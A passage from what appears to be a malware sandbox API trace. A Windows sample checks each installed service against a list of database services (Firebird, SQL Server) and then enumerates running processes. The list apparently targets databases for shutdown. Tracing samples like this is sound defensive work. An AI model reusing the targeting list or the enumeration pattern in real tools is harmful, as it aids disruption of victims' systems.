[0170.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0170.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0170.730] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0170.730] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0170.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0170.730] lstrlenW (lpString="PcaSvc") returned 6 [0170.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0170.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0170.730] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0170.730] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0170.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0170.730] lstrlenW (lpString="PlugPlay") returned 8 [0170.730] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0170.730] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0170.730] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0170.730] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0170.730] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0170.730] lstrlenW (lpString="Power") returned 5 [0170.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0170.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0170.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0170.731] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0170.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0170.731] lstrlenW (lpString="ProfSvc") returned 7 [0170.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0170.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0170.731] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0170.731] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0170.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0170.731] lstrlenW (lpString="RpcEptMapper") returned 12 [0170.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0170.731] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0170.731] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0170.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0170.731] lstrlenW (lpString="RpcSs") returned 5 [0170.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0170.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0170.731] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0170.731] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0170.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0170.731] lstrlenW (lpString="SamSs") returned 5 [0170.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0170.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0170.731] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0170.731] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0170.731] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0170.731] lstrlenW (lpString="Schedule") returned 8 [0170.731] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0170.731] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0170.731] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0170.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0170.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0170.732] lstrlenW (lpString="SecurityHealthService") returned 21 [0170.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0170.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0170.732] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0170.732] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0170.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0170.732] lstrlenW (lpString="SENS") returned 4 [0170.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0170.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0170.732] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0170.732] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0170.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0170.732] lstrlenW (lpString="ShellHWDetection") returned 16 [0170.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0170.732] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0170.732] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0170.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0170.732] lstrlenW (lpString="Spooler") returned 7 [0170.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0170.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0170.732] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0170.732] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0170.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0170.732] lstrlenW (lpString="SSDPSRV") returned 7 [0170.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0170.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0170.732] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0170.732] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0170.732] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0170.732] lstrlenW (lpString="StateRepository") returned 15 [0170.732] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0170.732] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0170.733] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0170.733] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0170.733] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7778 | out: hHeap=0x790000) returned 1 [0170.733] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360 [0170.737] Process32FirstW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0170.737] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0170.738] lstrlenW (lpString="System") returned 6 [0170.738] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0170.738] lstrlenW (lpString="smss.exe") returned 8 [0170.739] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.739] lstrlenW (lpString="csrss.exe") returned 9 [0170.739] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0170.741] lstrlenW (lpString="wininit.exe") returned 11 [0170.741] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0170.742] lstrlenW (lpString="csrss.exe") returned 9 [0170.742] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0170.742] lstrlenW (lpString="winlogon.exe") returned 12 [0170.743] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0170.743] lstrlenW (lpString="services.exe") returned 12 [0170.743] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0170.744] lstrlenW (lpString="lsass.exe") returned 9 [0170.744] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.745] lstrlenW (lpString="svchost.exe") returned 11 [0170.745] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0170.745] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0170.745] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0170.746] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0170.746] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.747] lstrlenW (lpString="svchost.exe") returned 11 [0170.747] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0170.747] lstrlenW (lpString="dwm.exe") returned 7 [0170.747] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.748] lstrlenW (lpString="svchost.exe") returned 11 [0170.748] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.749] lstrlenW (lpString="svchost.exe") returned 11 [0170.749] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.749] lstrlenW (lpString="svchost.exe") returned 11 [0170.749] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.750] lstrlenW (lpString="svchost.exe") returned 11 [0170.750] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.751] lstrlenW (lpString="svchost.exe") returned 11 [0170.751] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.752] lstrlenW (lpString="svchost.exe") returned 11 [0170.752] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.752] lstrlenW (lpString="svchost.exe") returned 11 [0170.752] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.753] lstrlenW (lpString="svchost.exe") returned 11 [0170.753] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.754] lstrlenW (lpString="svchost.exe") returned 11 [0170.754] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0170.754] lstrlenW (lpString="spoolsv.exe") returned 11 [0170.754] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.755] lstrlenW (lpString="svchost.exe") returned 11 [0170.755] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.756] lstrlenW (lpString="svchost.exe") returned 11 [0170.756] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0170.757] lstrlenW (lpString="audiodg.exe") returned 11 [0170.757] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0170.757] lstrlenW (lpString="sihost.exe") returned 10 [0170.757] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0170.758] lstrlenW (lpString="svchost.exe") returned 11 [0170.758] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0170.759] lstrlenW (lpString="taskhostw.exe") returned 13 [0170.759] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0170.760] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0170.760] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0170.760] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0170.760] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0170.761] lstrlenW (lpString="explorer.exe") returned 12 [0170.761] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0170.762] lstrlenW (lpString="Memory Compression") returned 18 [0170.762] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0170.762] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0170.762] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0170.763] lstrlenW (lpString="SearchUI.exe") returned 12 [0170.763] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0170.764] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0170.764] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0170.765] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0170.765] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0170.766] lstrlenW (lpString="taskhostw.exe") returned 13 [0170.766] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0170.766] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0170.766] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0170.767] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0170.767] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0170.768] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0170.768] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x384, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfe0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0170.769] lstrlenW (lpString="conhost.exe") returned 11 [0170.769] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver.exe")) returned 1 [0170.769] lstrlenW (lpString="screensaver.exe") returned 15 [0170.770] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upperarc.exe")) returned 1 [0170.770] lstrlenW (lpString="upperarc.exe") returned 12 [0170.770] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying.exe")) returned 1 [0170.771] lstrlenW (lpString="buying.exe") returned 10 [0170.771] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="downloadable.exe")) returned 1 [0170.772] lstrlenW (lpString="downloadable.exe") returned 16 [0170.772] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="guests_production_meanwhile.exe")) returned 1 [0170.773] lstrlenW (lpString="guests_production_meanwhile.exe") returned 31 [0170.773] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed-shirts.exe")) returned 1 [0170.773] lstrlenW (lpString="deemed-shirts.exe") returned 17 [0170.774] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="mugwritesheroes.exe")) returned 1 [0170.774] lstrlenW (lpString="mugwritesheroes.exe") returned 19 [0170.774] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="swapdamelooked.exe")) returned 1 [0170.775] lstrlenW (lpString="swapdamelooked.exe") returned 18 [0170.775] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="moments.exe")) returned 1 [0170.776] lstrlenW (lpString="moments.exe") returned 11 [0170.776] Process32NextW (in: hSnapshot=0x360, lppe=0x256fd2c | out: lppe=0x256fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xddc, 